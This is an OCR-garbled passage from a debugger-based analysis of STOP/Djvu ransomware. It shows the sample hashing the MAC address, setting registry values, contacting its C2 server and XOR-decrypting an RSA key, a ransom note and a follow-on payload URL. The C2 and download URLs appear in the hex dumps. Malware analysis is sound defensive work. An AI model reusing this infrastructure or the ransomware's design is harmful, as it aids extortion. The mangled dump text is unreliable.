002501D38 | 4% 64 64 72‘65 73 73 3A|20 25 73 2C|20 6D 61 63 AdﬂI’ESS 565‘ 'na:l

Figure 72

The binary creates a handle to a CSP hash object using the CryptCreateHash API (0x8003 = CALG_MD)5):

® || 0015E8EC 50 push eax
64 00 push 0
64 00 push 0
68 03 80 00 00 push 8003
FF 75 E4 push dword ptr ss:[Jebp-1C]
FF 15 2C CO 21 00 €all dword ptr ds:[<&CryptCreateHashs>]

X/ 5TATUSWOra LUUY
XB7SW_B 0 X87S5W.C3 0 xXB75WC2 O
XB7SW_CL 0 X875W_CO 0 x875W_ES O
XB7SW_SF 0 X87SW_P 0 X375W_U O

Default (stdcal) ~ [5_2][ unodk

[esp] 02D30838 <&CPACQUirecONtexts

dword ptr [0021C02C <wininet_dump.&CryptCreateHash>]=<advapis2.CryptcreateHash>

. text:D01SESFI wininet_dump.exe: SESFI #ESFI

[esp+4] 00008003
[esp+8] 000DODOO
[esp+C]_00000000

Woump1  @Woumpz  @Hoump3  @pump4  Wpumps @ watcht  bellocals P Stuct

Address | Hex | AscII ]
00250108 |41 ¢4 &4 ?zlss 7373 3A[20 25 73 2C[20 D 61 63 Address: s, :na:l
7aln n nn 2%

anzzniealaa an 2 nn A anlzc 38 22 c=lnn an o

Figure 73

The ransomware hashes a buffer that contains the MAC address extracted above via a function call to

CryptHashData:

0015E918 64 00 push 0

0015E91D FF 75 18 push dword ptr ss:[febp-13]
0015E920 OF 43 45 0B cmovae eax,dword ptr ss:|febp+s]
0015E924 50 push eax

push dword ptr ss:flebp-14

0015E925 FF 75 EC 1
call dword ptr ds: [<&CryptHashData>]

FF 15 18 CO 21 00

xB875tatusWord 0000
XB7SW_B 0 X87SW.C3 0 XB7SWC2 O

[ebp+8] XB7SW_C1 0 x87SW_CO 0O X875W_E5 0O
eax: "0C X87SW_SF D X87SW_P 0 X87SW_U 0O
v
5 |Default Gstdcal) ~ [5_2][ unodk

1: [esp] 02C98610 <&CPCreateHash>

dword ptr [0021C018 <wininet_dump.&CryptHashData>]=<advapi3z.CryptHashData>

.Text:0015e928 wininet_dump.exe: $E928 #E928

2: [esp+4] 02C74BAD "D0:0C:29:25:66:15"
3: [esprd] 0000001L
4: [esp+C]_ 00000000

o Dump J Dump 2 4 Dump 3 4 Dump 4 4 Dump 5 & watch 1 =] Locals # struct
Woumpt gy w i vl & watch -] Local P

"00:0C:29:25:66:15"

| Asc1T

02C9B610

‘DOAFE444 | 02C74BAD

= ‘ DOAFE445 | 00000011
DOAFE44C

Figure 74

The MD?5 hash value is extracted by calling the CryptGetHashParam routine (0x2 = HP_HASHVAL):

e[ 0015E999 6 00 push 0

e[ 0o15E938 50 push eax

ol 0015E99C 57 push edi

e[ no15E990 6A 02 pus

e 0o15E93F FE 75 EC push dword ptr ss:[febp-14]
[EIP pus 13 FF D& call esi

a

xB75tatusWord 0000
XB7SW_B 0 XB7SW_C3 0O XB7SW.C2 0
XB7SW_CL 0 XB7SW_CO 0O XB7SW_ES 0
XB7SW_SF 0 XB7SW_P O X87SW_U O

esiEery v |
5 | Default (stocal) ~ |5 ] J unloc
1: [esp] 02C9B610 <&CPCreateHash>

esi=<advapi3z.CryptGetHashParam> (73A5FABD)

. text:D015E9A2 wininet_dump.exe: SE9AZ #EIA2

2: [esp+a] 00000002
3: [esp+d) 02CCF7FO
4: [esp+C]_ ODAFE485

Woumpi  @Yoump2  Wyoump3s  @Wpump4  Whoumps @ wathi  Iellocals P Stuct

02C9B610
00000002

0DDAFE440

00AFE444 | 02CCFTFO

Address | Hex
02CCF7F0 |00 00 00 00[00 00 00 00[00 00 00 00[00 00 00 00

Address | Hex
02CCF7FDI01 1A DB 278D EE 0D 9A[CS 0D 83 7D[43 04 7E 4C

Figure 75

A new thread is created by calling the CreateThread API:

push wininet_dump.z6375C

push 0

push wininet_dump.263270

push wininet_dump. 16E630
push 6145000

mov byte ptr ds:[279225],d1
| edx dword ptr ss:[Jesp+50Q

pus
mov. hyte ptr_ds: [279226] ,d1
€all dword ptr ds: [<ecreateThreads]

DOAFE488
00000000

O0AFE44C

Aosim_c 3 yEmpLy;  Acsim_3 3 LEmpiyy
X87TW_4 3 (Empty) XB7TW_5 3 (Empty)
X87TW_6 3 (Empty) XB7TW_7 3 (Empty)

x875tatusword 0000

X875W_B 0O XB7SW_C3 0 XB7SW.C2 0
[esp+5C X875W_C1 O XB7SW_CO O XB7SW_ES 0
X87SW_SF O XB7SW_P O XB7SW_U 0

v
Defauit (stdcal)

dword ptr [0D021C174 <wininet_dump.&CreateThread>]=<kernelsz.CreateThreads>

. text:0016A8EC wininet_dump. exe:$1AS8C #1A88C

=[5 200 unlock
esp] 00000000
[esp+4] 061A8000

1
2

2: [esp+8] 0016EGI0 wininer_dump.0016E630
4: [esp+C] 00263270 wininet_dump.00263270

J Dump 4 Dump 2 4 Dump 3 J Dump 4 4 Dump 5 & watch 1 [x=] Locals & struct
Woump1 Uy i L] i & watch x-] Local g

00000000
061AB000

0016E690 | wininet_dump.0016E630

02CCF800 (EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE

Address | Hex [asciz ]
02CCF7F0 |EE| FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE 1b1b1b1b1b1b1b1b
ip

Figure 76

Thread activity — sub_16E690
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The RegOpenKeyExW function is used to open the “Software\Microsoft\Windows\CurrentVersion” registry key
(0x80000001 = HKEY_CURRENT_USER and 0xF003F = KEY_ALL_ACCESS):

e | oo15CEBO 50 push eax = 7 x875tatusword 0000
o [ 0015C6B1 68 3F 00 OF 00 push FoO3F X87SW_B O XB7SW_C3 O XxB7SW_C2 0O
. 6A 00 push 0 X87SW_C1 0 xB7SW_CO O xB7SW_ES 0O
o0 8 68 08 FE 24 00 push wininet_dump.24FE0S8 24FE0S: X875W_SF O XB7SW_P O xB7SW U O
o | 0015C68D 68 01 00 00 80 push 50000001
Eg— FF 15 28 CO 21 00 ca . S [ <8R egOpEnK yEXWS v
ole s - L — - 5 | Default (stdcal) - [ unlock

i

[esp] 80000001

[esp+4] 0024FE08 L"Software\\Microsofty\windi
[esp+8] 00000000

4: [esp+C] 000FOO3F

dword ptr [0021C028 <wininet_dump. &R egOpenkeyExw>]=<advapi32.RegopenkeyExw>

. TEXT:0015C6C2 wininet_dump. exe: $C6C2 #C6C2

ump J Dump 4 Dump J Dump o Dump 8 wal [x=] Locals ) Stru
Woump1  @Dump2  @4pump3  YMoump4  @4pumps 8 watth1  xlLocal ) Struct

80000001
0024FE08 | L"Software\\Microsoft\\Windows\\Currentvers
00000000

Hex ASCIT ~
0024FEQS [53/ 00 GF 00|66 00 74 00[77 00 61 00|72 0D 65 00|B.0.f.t.W.a.r.c. A
0024FE18|5C 00 4D 00|69 00 63 00|72 00 6F 00|73 00 &F 00|%.M.i.c.r.o.s.o. " = W
0024FE28| 66 00 74 00(5C 00 57 00|69 00 GE 00|64 00 6F 00|Ff.t.\.W.i.n.d.o. R e e e el A
00ZAEESS 22 410 7 PugaaRon 00y o 00 | RN s RO0 (kN e 00173F7C |return to wininet_dump.00173F7C from winine
0024FE43 | 6E 00 74 00|56 00 65 00|Z2 00 73 00|63 00 &F 00|n.t.V.e.r.s.i.o. e A
0024FES8| 6E 00 00 00|53 00 79 00|73 00 48 00|65 00 &C 00|n...S.y.s.H.e.1. nRARason | REAERCE

Figure 77

The process is looking for a value named “SysHelper”, which doesn’t exist at this time (this is different from the

one in figure 34):

5 pusn ezt BTt
8D 45 F8 lea eax,dword ptr ss:[febp-sj S R silleponn i
C7 45 FO 04 00 00 00 mov dword ptr ss:[ebp-10J,4 i — (EmpTy) X — (EmpTy)
50 push eax Xx87TW_6 3 (Empty) x87TW_7 3 (Empty)
8D 45 FO lea eax,dword ptr_ss:|[ebp-10]
€7 45 F4 04 00 00 00 mov dword ptr s ebp-clll, 4 x875Tatusword 0000
50 push eax X87SW_E O XB7SW_C3 O XxXB7SW_C2 O
6A 00 push 0 X87SW_C1 O XB7SW_CO O XB7SW_ES O
68 5C FE 24 00 push wininet_dump. 24FESC 24FESC: | x87SW_SF O X87SW_P 0 X87SW_U 0O
FF 75 FC push dword ptr ss:[[abp-4]
FF 15 3C CO 21 00 call dword ptr ds:[<aRegQueryvalueExws, v
—— e - s |Defeult (stdeal) + 5 [2][]unect
— — 1: [es| 304
dword ptr [0021C03C <wininet_dump.&RegaueryvalueExw>]=<advapi3z.RegqueryvalueExus 2: [esptd4] 0024FESC L"SysHelper”
3: [esp+8] 00000000
- 4: [esp+C] 0B&9AZ18
. TeXT:0015C6F3 wininet_dump.exe: $C6F3 #C6F3

Woump1  @Wioump2  @Moump3  @4pump4  Wpumps @8 watchi  Beellocals 4 Stuct DBE9AZ04 m“z“ﬂ?é‘;’é L"SysHelper™
Address | Hex [AscIx | | Geeaazoc | oBesnzzs
0D024FEO8 |53 00 &F DO‘GG 00 74 00 Z." 00 61 00|72 00 65 00 S.U.f.t.w.a.r.e. 0B69A210 0BE9AZ20
e L ek el e LB L 08694214 0BE9A21C

Figure 78

The entry from above is created, and its value is set to 1 using the RegSetValueExW API:

on 01 —— s ime s Lmmpirs  wr s s Lmamrs
8D 45 F8 Tea eax,dword ptr_ss:[febp-sl XBZIMZERR(Enp Ly} E AN /83 (Emp /)
C7 45 F8 01 00 00 00 mov dword ptr ss:[febp-sg,1
50 push eax x875tatuswWord 0000
6A 04 push 4 X875W_B 0O xB75W_C3 O xB75W_C2 O
6A 00 push 0 X875W_C1 0O xB875W_CO O XB75W_ES O
68 5C FE 24 00 push wininet_du 24FESC Z4FESC: XB87SW_SF O XB7SW_P 0 XB7SW_U 0
FF 75 FC push dword ptr Debp-41
FF 15 1C €O 21 00 €all dword ptr ds: [<&RegSetvalueExws>] v
i = > D:fﬁ:\t(stdm\ﬂ e [5 1] 0] unod
T [es
dword ptr [0021COIC <wininet_dump.&RegsetvalueExn>]1=<advapis2.Regsetval ueExu> [espr4] OD24FESC L"SysHelper”
[esp+8] 00000000
e, [esp+C] 00000004
.text:0015C725 wininet_dump. exe: $C725 #C725
[ ‘00000304
@oump1  @ypump2  Whpumpz  WhDump4  WhDumps @ watch1  Iellocals ) stuct 0BESA204 | D024FESC | L"SysHelper™

0B6IA208

0B69A210 | OB69A220
0B69A214 | 00000004

Address | Hex | AscIT ] “
OB69A220 |01 00 00 00|04 03 00 0O EB €9 OB /D4 E6 16 O0(a....... I01.0=. .
0B69A230 z 00 00 00 00|.2...Z..p2&.....

Figure 79

The executable tries to locate a file called “bowsakkdestx.txt” in the “C:\Users\<User>\AppData\Local” directory,

which doesn’t exist on our machine:

68 C4 FD 24 00 push wininet_dump. 24FDC4 X875W_C1 0 x875W_C0 0 x87SW_ES O
8D 85 FC FE FF FF lea eax,dword ptr ss:|[[ebp-104] X87SW_SF 0 XB87SW_P 0 x87sW_U o
50 pus|
FF 15 30 €3 21 00 call dword ptr H5:[<&PathAppendAs=] v [
= - - 5 | pefoult (stacal +|[s 2] urlock

[esp] DB6IA1Z4 \users\H\prﬂtﬂ\\Lo(l
[esp+4] 0024FDC4 “bowsakkd . txt”

[esp+8] 0016E690 wininet_dump.D016E690

: [esp+C] 00263270 wininet_dump. 00263270

dword ptr [0021C330 <wininet_dump.&pPathAppendA>]=<shiwapi.PathAppenda>

. TEXT:0015C539 wininet_dump.exe: $C539 #C539

Ausersy

3 u: L3
4 Dump 4 Dump » Dump J Dump 4 Dump & wa e<locals 4 Struct
Woumpt  gHoump2  @Wpumps  WWDump4  @MDumps @ watchi  le-lLecl Bonsakkdestx.

Figure 80

There is a function call to InternetOpenW similar to the one presented in figure 23 (with the same user agent). The

binary performs a GET request to the C2 server securebiz[.]org with the parameter pid = MD5(MAC address):

Page 20 of 42



https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/

- P— nerinie 3 tmmwys  AerimLs 3 imwwers
6A 00 push 0
A 00 push 0 x875tatusword 0000
6A 00 push 0 XB7SW_B 0O x875W_C3 0 x875Ww.C2 O
8D 84 24 98 09 00 00 lea eax,dword ptr ss:|[fesp+29s] XB7SW_C1 0 x875W_CO O xB7S5W_ES O
50 push eax eax:L"r X87SW_SF O X87SW_P 0 X87SW_U O
53 push ehx E 3
FF 15 AC €3 21 00 call dword ptr ds:[<&InternetOpenurin:] v
: 5 |Defaut stdcal) ~[5_#] D unled
== = 1: [esp] 0OCCOO0O8
dword ptr [0021C3AC <wininet_dump.&INnternetopenur 1W>]=<wininet. Internetopenur 1W> 2: [espt4] OBGIABBS L"http://securebiz.org/fhsg
3: [esp+8] 00000000
i 4: [esp+C] 00000000
. TEeXT:0016E954 wininet_dump. exe: $1E954 #1E954 L S

Woump1  @Wipump2 Wioump3  Wlpump4  UlHoumps @ watth1  beellecals P struct

00CCOD08
0B69ABBS | L"http: //securebiz.org/fhsgtsspen6/get. php
00000000

Address | Hex ~
OBG9AEBBS 00 2F 00 HY AV
0B6IABCS 00 62 00 e.b.3.z. Soonooao
OBG9AEDE 00 66 00 f.h.s 00000000 ey
o e 2 e 0016E690 | wininet_dump.0016E690
OBGIABFS - Bs 'h' i 0016E630 [ wininet_dump.0016E690
SR IB 00263270 | wininet_dump. 00263270
0B6IACOS 00 30 00 BT SRERASHE DOant oD
OBE9ACLS 00 38 00 8.D.E. EREA
08694240 00010000
OBG9ACZE 00 43 00 .C.9.0. A2,
08694244( 00000O0O
0B6IAC3S 00 34 00 5 .4.3.0. HEEh AN fonTioaoT
OB6IACAB| 24 00 00 00 o U R AR st st B o g

Figure 81

The response from the server is read using the InternetReadFile function:

#|| 0016E960 push eax X8/STATUSWOrD UULY
o[ 0oL 68 00 04 00 00 push 400 XB7SW_B 0 X87SW.CZ 0 X875W.CZ 0
o 0oL 8D 84 24 90 01 00 00 lea eax,dword ptr ss:[fesp+190] XB7SW_CL 0 X87SW_CO 0 X87SW_ES 0
o 001 50 push eax XB7SW_SF 0 X87SW.P 0 x87Sw.U 0
o 0016E96 57 push edi - =

o FF 15 A8 €3 21 00 call dword ptr ds:[<aInternetrReadrile] v

.

> |Defout Gtical) ~ [5_#]] unlock

[esp] o0CCOD10

[espr4] OB69A3BS
[esp+a] oooo0200
[esp+C] OBE9AZ44

dword ptr [00Z1C3A8 <wininet_dump.&InternetReadFile>]=<wininet.InternetReadriler
. TeXT:0016E96F wininet_dump.exe: $1E96F #1E96F

& 00CC0010
@Woump1  @oump2  @Yoump3  @hpump4  @houmps @ watchi  Drellocals g Struct OBG3A224 | DBGIA3BS
Address | Hex [AscTz | ~ | GBeanzac | naeonzas

Figure 82

The binary creates the file called “bowsakkdestx.txt” using fopen:

|| 0016E980 68 D8 FD 24 00 push wininet_dump.24FDD& XSTSW_SF 0 XB87SW_P 0 X87SW_U O
push eax
E8 FB 36 00 0O €all wininet_dump.1720B6& v
- Default (stdcal) ~|[s ] unlock
— 1: [esp] o08639a280 "c:\\Users\\Jlll\\2ppoataiiioc
wininet_dump. 00172086 2: [esp+4] 0024FDDE wininet_dump.0024FDDS

2: [esp+8] 0016EG90 wininet_dump.0016E630
4: [esp+C] D016E690 wininet_dump.0016E690

. text:D016E9BE wininet_dump. exe:S1E986 #1E9B6

4 Dump 4 Dump 2 o Dump 3 J Dump 4 JDump5 @ watch1  [r=Locals P struct
Woump1 g4y ey wy ey 8 watch [x=] Local y

Address | Hex | Asc1z | A
0024FDD8 |77 00 00 00[72 00 OO 00[38 61 34 35|37 37 64 63|W...r...8a4577dc|

Figure 83

0B69AZ34

nRARAA33R

The file is populated using a function call to fwrite (the C2 server was down during our analysis, so we emulated

the network communications using FakeNet):

0016E903 50 push eax X87SW_B 0 x875W_C3 0 x875W.C2 0O
001EE9D4 8D 84 24 90 01 00 00 Tea eax,dword ptr ss:[esp+190] XB7SW_C1 0 X87SW_CO 0 X87SW_ES O
0016E9DB 64 01 push 1 XB7SW_SF 0 X87SW_P 0 X87SW_U O
0016E90D 50 push eax C -
EIF, E8 1F 41 00 00 call wininet_dump. 172802 farite v
- 5 | Defauit (strcal) -
== 1: [esp] OBG9A3BS
wininet_dump. 00172802 2: [esprd] D0D0OOOL
3: [esp+a] 00000400
= 4: [esp+C] 0025A060 wininet_dump.0025A060
.text:0D16EIDE wininet_dump.exe: $1ESDE #1E9DE = = AT

Woump:  @loumpz  @Woump3  @Wpumps  @Houmps @ watchi  Dellocals Y Struct 00000001
Address | Hex ASCII ] 221 00(H00:1 0| .

OB69A3BB[3C| 68 74 6D(EC 3£ 00 0A[3C 68 65 61|64 3E 0D 0a[=html>..<head>.. e :}ﬁ}zﬁ—ﬂmp'ggﬁéggg
0BG9YA3CE|3C 74 €9 74|6C 65 3E 46|61 6B 65 4E|65 74 2D 4E| <title>FakeNet-N noc nn1ecean .__-..,-,_..’,‘.....E'm“um

Figure 84

An example of a real response can be seen at https://app.any.run/tasks/900f626a-2bf6-48b2-85f9-2328f2b2d0d2/

and contains 2 elements: “public_key” and “id”. The malware wants to extract the “public_key” value from the

response:
68 F4 44 25 00 push wininet_dump. 2524F4 2544F4: | x87SW.C1 O xB7SW.CO 0O xB7SW_ES 0
50 push eax X87SW_SF 0 XB7SW_P O Xx87SW_U 0O
33 F6 xor_esi,esi e -
EB BS 52 00 00 €a11 wininet_dump.173CFO STrstr v |- —
F et T Default (stdcall) i

esp] 0BG69A3E8
esp+4] 002544F4 "{%"public_key\"
esp+8] 0D016E6I0 wininet_dump.D016E690
esp+C]_0016E630 wininet_dump.0016E630

wininet_dump. 00173CFO

. text:D016EA3E wininet_dump. exe:$S1EA36 #1EA3G

Woump1  @ypump2 W4pump3  WWoump4  WWDumps @ watth1  Ixllocals ¥ Struct
Address | Hex ASCII ]
0OB69A3B3 [3C 68 74 6D gL 3E A[3C 68 65 61|64 3E A | ghtml>. . <head>. .
OB69A3CS | 3C 74 €9 74|6C 65 3E 46|61 6B 65 4E(65 74 2D 4E|<titlexFakeNet-N
OB69A3DS 47 3C J2F 74(69 74 6C 65[3E OD DA 3C[2F 68 65 61|G</title>..</hea

Figure 85

" pubTd c_key) ",
wininet_dump.D016E630
wininet_dump.0016E630
wininet_dump.00263270
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Even though the C2 server was down, the binary comes with a hard-coded RSA public key. The file from above is
deleted in any case:

| _e|oo1 B R e TP B e A e eax:"c: | S Dol o
” . FF 15 4C €1 21 00 €all dword ptr ds:[<dDeleteFileA>] v
e I oo S —— y  |Deeult Gstdeal) ~ |[5_[2] 0] unock
1: es| 0B69AZBO “"C: users Al ata\h\Loc,
Gword ptr [00Z1C14C <wininet_dump.&Del sterileAs]—<kernel3z.Deleterilens O T R w,\}mtju-,,,p_gélgg‘;.,o A
3: [esp+8] 0016E630 wininet_dump.0D16E630
" a: [esp+C] 00263270 wininet_dump.00263270
. TEeXT:0016EAB2 wininet_dump. exe: $1EABZ #1EASZ L - 1
PRI PSS e PR P R~ LI IEEREA 08694280 | "c:\\users\ [l \AppDatal\Locall\bowsakkdestx. TxT"

Figure 86

Using multiple XOR operations with 0x80, the ransomware decrypts the RSA public key in PKCS1 format, a
victim ID, and a URL that leads to another malicious file at http[:]//securebiz[.]org/files/1/build3.exe:

i ® || DD1S5EFCS 80 34 01 80 xor byte ptr ds:[ecxteax],s0
| ® | 0015EFCD 40 inc eax
g s [ DOISEFCA 3D 97 00 0O 00 cmp £ax,97
\----#| DOISEFCF| ~ 7C EF j1 wininet_dump. 15EFCO
4z inc edx
i gpom gemmer B T ez
< >

edx=0

Ltext: 0015EFDL wininet_dump. exe: $SEFD1 #EFD1

; 7EATEBED |
Woumpt  Woump2  @pump3  @oump4  @pumps & watch1  IxlLocals & struct 00000000
Address | Hex ASCII sl
02CBAD50| 2D 2D 2D 2D 2D 42 45 47|49 4E 20 50|55 42 4C 49|=-—-- BEGIN PUBLI HoR0GoD
02CBAOGO| 43 20 4B 45|59 2D 2D 2D |2D 2D 5C 5C EE 4D 49 49|C KEY---—- YWNMII

02CBAD70 |42 49 6A 41(4E 42 67 6B|71 68 6B 69|47 39 77 30|BIjANBgkqhkiGowo DEGSERCE

02CBAOBO| 42 41 51 45|46 41 41 4F |43 41 51 38|41 4D 49 49| BAQEFAAOCAQEAMITI gg%gggig
02CBAD90| 42 43 67 4B|43 41 51 45|41 75 35 37|74 46 6C 67 | BCQKCAQEAUSTLF1g O016EE30|
02CBADAD |62 74 4C 41|48 4F 78 6C |45 79 6F 37|61 5C 5C 6E| btLAHOX1Eyorahhn DO1GEG90|
02CBADBO| 35 45 51 55(35 42 56 43 |6A 5C 2F 61|30 31 65 42| SEQXSBVC]' /a0leB 00263270
02CBAOCO |66 4F 6C 4C |70 31 43 5C|2F 64 55 50|48 70 72 52| fOILp1C"/dUPKprR 0BG3 00000000
02CBADDO| 49 76 54 52|52 59 6E GA|74 6B 43 4E|35 75 42 30| IVIRRYnjtKCNSuBO (JBG“':‘:’;U 00010000
02CBAOEO|6E 63 39 6D (5C 2F 00 BA[OD FO AD BA|OD FO AD BA|nigm,/.®.0H.°.8.° e taibertetol| adstnrrintad

Address | Hex ASCII

02CDE9A0D |47 47 59 32|52 37 64 63(5A 6B 42 46|45 5C 5C 6E | GGY2R7ACZKEFEY '\ N
02CDE9B0 | 46 6F 59 64|48 6F €C 71|78 31 44 7A|6F 6E 4E 6F | FoydHolgx1DzonNo
02CD6EICO| 47 52 66 39|46 48 31 32|36 4B 39 44|6A 6E 5C 2F|GRTIFHLZEKIDIN /S
02CD69D0 | 48 4A 45 31|6C 75 4F 45 (4B 56 53 35|37 79 50 43| HIELTUDEKVSSTYPC
02CDE9ED |57 44 4C 34|4E 66 32 63|31 54 56 47|65 44 4C 6C | WDL4NFZcITVGhDL1
02CDE9F0| 37 5C 5C 6E|32 4E 6D 44|47 64 6D 42|42 54 6C 63| 7Y\ \NZNmMDGAMEETI1cC
02CD6EA0D | 39 32 6A 53 |6C 5A 4B 70|73 4B 71 49|6B 2B 2B 78| 92j51ZKpsKgIk++x
02CD6AL10 |73 64 47 76|36 57 30 35|75 4D €1 71(4D 45 61 53| sdGvewosuMagMEas
02CDEA20| 62 57 34 6F|6F 72 72 75|66 4F 6E &5 |78 38 7A 79| bwioorrufOnexszy
02CDEA30| 78 58 49 41|5C 5C 00 BA(OD FO AD BAI|OD FO AD BA| XXIA\Y.®.B.°.D,.°
Address | Hex ASCII

0ZCDOE48 |BE 46 GC 74|61 63 4A 43|6F 63 32 41|32 74 62 6C|MFItacICoCZAZTbl
02CDOESS8 (37 55 72 S5C|2F 4E 32 73|70 37 70 70|65 61 66 43|7uUr’ /N2sp7ppeafc
02CDOEGS |65 39 59 54|5C 2F 54 49|59 50 &F 73|66 67 56 54|e3yT, /TIYPosTgvT
02CDOE7S| 33 46 75 46|55 51 56 62(6D 4C 46 6F|78 79 74 50| 3FUFUQVImMLFoxytP
02CDOEBS |65 4F 76 5C|5C 6E 6F 7A|4l 65 4C 70|54 79 73 75| e0vi\nOZAELpTyyU
02CDOE9S8 | 6D 51 55 66|67 30 57 59|32 63 43 2B|74 75 6D 2B|maufgOwy2cC+tumt
02CDOEAS| 29 58 5C 2F|53 2B 5C 2F (32 45 44 22|69 61 52 359X\ /S+\/2ED2iaRs
02CDOEBS | 35 4E 6E 49|33 79 65 4C (56 35 41 43|g2 3¢ €D 71 |SNnI3yelLvsachsmq
0ZCDOECS |56 49 42 73 |4E 55 6C 71(5C 5C 6E 6B|51 49 44 41| VIBSNUTgi\nkQIDA
02CDOEDS |51 41 42 5C|5C 6E 00 BA|OD FO AD BA|OD FO AD BA[QABY%N.°%.0.°.58.°

Address | Hex ASCII
OZDZFEZS I 2D 2D 2D (2D 45 4E 44|20 50 55 42|4C 49 43 20|@---- END PUBLIC
02D2FE38| 4B 45 59 2D(2D 2D 2D 2D(00 32 2E 65|78 &5 24 72|KEY--—— .2.exefr

02D2FE48 |75 6E 20 68|74 74 70 3A(2F 2F 73 65|62 75 72 65|un http://secure
02D2FES8| 62 69 7A 2E|6F 72 67 2F|66 69 6C 65|73 2F 31 2F|biz.org/Tiles/1/
OZD2FEG8| 62 75 69 6C|64 33 2E 65(78 65 24 72175 6E 00 72lbuild3, exesrun.r
Address | Hex ASCII

02D10478 |iF5] 46 48 77 (4E 37 62 GA|77 43 6B 55 &7 | UFHWNTbiwCkIEeUg
02D10488| 28 4A 48 49|53 7A 4C 71|72 77 75 48 38| BIHISzZLgrwudidHS
02D10498 |58 73 50 7A|48 44 74 31|00 2ZF 73 72 65| XsSPzZHDTLl. /secure
02D104A8| 62 69 7A 2E|6F 72 67 2F|66 69 6&6C 31 2F|biz.org/files/1/
02D104B8162 75 €9 6CI64 33 2E 65(78 &5 24 00 721 build3. exefrun.r

Figure 87

We continue to analyze the main thread. A mutex called “{1D6FC66E-D1F3-422C-8A53-COBBCF3D900D}” is

created via a function call to CreateMutexA':

68 E8 43 25 00 push wininet_dump.2543F8 2543F8: X875W_C1 0 xB7SW_CO O XxB7SW_ES 0O
- 6A 00 pusn o X87SW_SF O XB7SW_P 0O xB7SW_U o
O016ABA 6A 00 push 0 S
FF 15 30 €1 21 00 €all dword ptr d=:[<&reateMutexA=] = =
e S e 5 | pefeult stical) ~|[5_[£]0 urlock
1: [es|
dword ptr [0021C130 <wininet_dump.&CreateMutexA>]=<kernel32.CreateMutexA> 28 Eesglﬂ 00000000
3: [esp+8] 002543F3 "{]_.DGFCEBE*DlF3*422C*§AS3*(
e e : 4: [esp+C] 00174141 <wininet_dump.EntryPoints>
5 £ i p.exe: $1ABA9 #1A8A9 5 A i
& 00000000
Woump1  @ypump2 @oump3  @ipump4  @Houmps @ wathi  Ixellocals ' Stuct DDAFESL0| 00DDODDD
[address Tuex lascTr T || DOAFES14 | 002543F8 | "{ 1F3-422C 3

Figure 88

The malware decrypts the ransom note using the XOR operator:
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i 80 24 01 80 xor byte ptr ds:[ecx+eax],80
| 40 inc eax
] 3D 97 00 00 0O Cmp eax, 97
Gecit = FE EE j1 wininet_dump.15EFCO
E— 42 inc edx ; .
>

edx=0

.text:0015EFDL wininet_dump.exe: $EFDL #EFD1

&% Dump 1 4% Dump 2 4% Dump 3 B Dump 4 B4y Dump 5 Q,i"‘,“’ Watch 1 |x=] Locals 2}:’ Struct

Address | Hex ASCII ~
02CD3468 |41 54 54 45|4E 54 49 4F |4E 21 0D 0A(OD 0A 44 6F |ATTENTION!....DO
02CD3478(6E 27 74 20|77 6F 72 72|79 2C 20 79|6F 75 20 63(n"t worry, you c
02CD3488 |61 6E 20 72|65 74 75 72|6E 20 61 6C|6C 20 79 6F|an return all vo
02CD3498 |75 72 20 66|69 6C 65 73(21 0D 0A 41|6C 6C 20 79|ur Tiles!..All ¥
02CD34A8
02CD34E8
02CD34CB
02CD34DB
02CD34ESB
0ZCD34F8

6F 75 72 20|66 69 6C 65|73 20 6C 69|GB 65 20 7o|our Tiles 1ike p
74 75|72 65 73 2C (20 €4 61 74|61 62 61 72 |ictures, databas
65 73 2C 20|g4 gF €3 7o (gD ©€0 GF 74|73 20 61 6E|es, documents an
84 20 6F 74|68 65 72 20(69 6D 70 6&F|72 74 61 6E|d other importan
74 20 61 72|65 20 65 GE|G3 72 79 70|74 65 64 20|t are encrypted
77 62 74 63|20 73 00 BA|OD FO AD BA|OD FO AD BA|with s.=.d.°.8.°

by PPy

Figure 89

The following information is also decrypted (a list of files to be skipped, a list of extensions to be skipped, and a

list of directories to be skipped):

 ntuser.dat, ntuser.dat.LOG1, ntuser.dat.LOG2, ntuser.pol

e .sys, .ini, .DLL, .dll, .blf, .bat, .Ink, .regtrans-ms

e C:\SystemID\, C:\Users\Default User\, C:\Users\Public\, C:\Users\All Users\, C:\Users\Default),
C:\Documents and Settings\, C:\ProgramData\, C:\Recovery\, C:\System Volume Information\,
C:\Users\%username%\A”ppData\Roaming\, C:\Users\%username%\AppData\Local\, C:\Windows\,
C:\PerfLogs\, C:\ProgramData\Microsoft\, C:\ProgramData\Package Cache\, C:\Users\Public),
C:\$Recycle.Bin\, C:ASWINDOWS.~BT\, C:\dell\, C:\Intel\, C:\MSOCache\, C:\Program Files\,
C:\Program Files (x86)\, C:\Games\, C:\Windows.old\

o D:\Users\%username%\AppData\Roaming\, D:\Users\%username%\AppData\Local\, D:\Windows\,
D:\PerfLogs\, D:\ProgramData\Desktop\, D:\ProgramData\Microsoft\, D:\ProgramData\Package Cache),
D:\Users\Public\, D:\$Recycle.Bin\, D:\$WINDOWS.~BT\, D:\dell\, D:\Intel\, D:\MSOCache\,
D:\Program Files\, D:\Program Files (x86)\, D:\Games\

o E:\Users\%username%\AppData\Roaming), E:\Users\%username%\AppData\Local\, E:\Windows),
E:\PerfLogs\, E:\ProgramData\Desktop\, E:\ProgramData\Microsoft\, E:\ProgramData\Package Cache\,
E:\Users\Public\, E:\\$Recycle.Bin\, EA$WINDOWS.~BT\, E:\dell\, E:\Intel\, E:\MSOCache\, E:\Program
Files\, E:\Program Files (x86)\, E:\Games\

o F:\Users\%username%\AppData\Roaming\, F:\Users\%username%\AppData\Local\, F:\Windows\,
F:\PerfLogs\, F:\ProgramData\Desktop\, F:\ProgramData\Microsoft\, F:\Users\Public\, F:\$Recycle.Bin\,
FA$SWINDOWS.~BT)\, F:\dell\, F:\Intel\

The executable retrieves the user name associated with the current thread by calling the GetUserNameW API:

50 push eax XB7SW_CL 0 x875W_CO O x875W_ES 0
8D 84 24 EC 01 00 00 lea eax,dword ptr ss:|[esp+1EC] X87SW_SF 0 x875W_P 0 x87SW_.U 0
5 push eax

FF 15 08 CO 21 00 call dword ptr ds:[<aGetuserNamew>]

v
Ty | pefault (stdcal) = |[5_12] [ unlock

1: [esp] ODAFE7D0

dword ptr [0021C0O08 <wininet_dump. &GETUserNamew>]=<advapi3z2.Getuser Namews [espra] ODAFES74

23
